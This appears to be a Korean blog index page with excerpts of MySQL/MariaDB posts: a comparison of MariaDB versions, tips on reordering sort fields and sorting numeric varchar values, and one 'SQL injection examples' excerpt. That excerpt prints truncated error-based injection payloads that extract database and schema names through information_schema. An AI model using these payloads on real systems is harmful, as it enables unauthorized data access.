MariaDB의 각 버전(10.2, 10.3, 10.4, 10.5, 10.6, 10.11, 11.4)의 장단점
MariaDB의 각 버전(10.2, 10.3, 10.4, 10.5, 10.6, 10.11, 11.4)의 장단점을 자세히 설명하겠습니다. 각 버전의 주요 기능과 성능 개선 사항을 포함하여 비교해드리겠습니다.MariaDB 10.2장점:CTE(Common Table Expressions): WITH 문을 사용한 공통 테이블 표현식 지원.윈도우 함수: 복잡한 쿼리에 대한 윈도우 함수 지원.InnoDB 성능 개선: 기본 스토리지 엔진으로서 InnoDB의 성능 향상.JSON 지원: JSON 데이터를 처리하는 함수 지원.단점:새로운 기능 부족: 이후 버전에 비해 최신 기능과 성능 최적화 부족.향후 지원 기간 단축: 최신 버전에 비해 더 짧은 지원 기간.MariaDB 10.3장점:System-versioned tabl..
2024. 6. 29.
mysql injection 예 , SQL 인젝션 예
SQL 인젝션 예 current db_name +and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) number of dps +and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM in..
2022. 6. 24.
mysql 사용자 정렬 숫자를 재정렬 하려면
mysql 에서 정렬 필드 sortid 필드를 만들어 정렬을 하고자 하는데, 중간에 끼어넣게 하여 자동으로 순서가 밀리게 하려면 update 문을 이용하여 입력한 값보다 큰 수에 1값을 더 해준다. 만약 1, 2, 3, 4, 5, 6, 7, 8, 9 정렬값이 입력되어있을때, 5위로 값을 새롭게 추가하고, 기존 5 값을 1씩 증가하도록 한다. update `table` set no = no + 1 where no => 5;
2022. 2. 11.
mysql varchar 형 자료의 숫자 정렬
mysql 특정 필드의 형식이 varchar 일때 값이 숫자로 입력된 경우 정렬을 하면 이상하게 된다. 값이 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 일때 오름차순 정렬 하면 아래와 같이 이상하게 정렬된다. SELECT * FROM tablename ORDER BY varcharID 1, 10, 11, 12, 2, 3, 4, 5, 6, 7, 8, 9 테이블의 자료형을 변경하지 않고 정렬하는 간단한 팁으로 *1을 해주면 된다. SELECT * FROM orderex ORDER BY varcharId*1 결과값이 정상적으로 정렬된다. 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 내램차순으로 하려면 SELECT * FROM orderex ORDER BY len..
2022. 2. 11.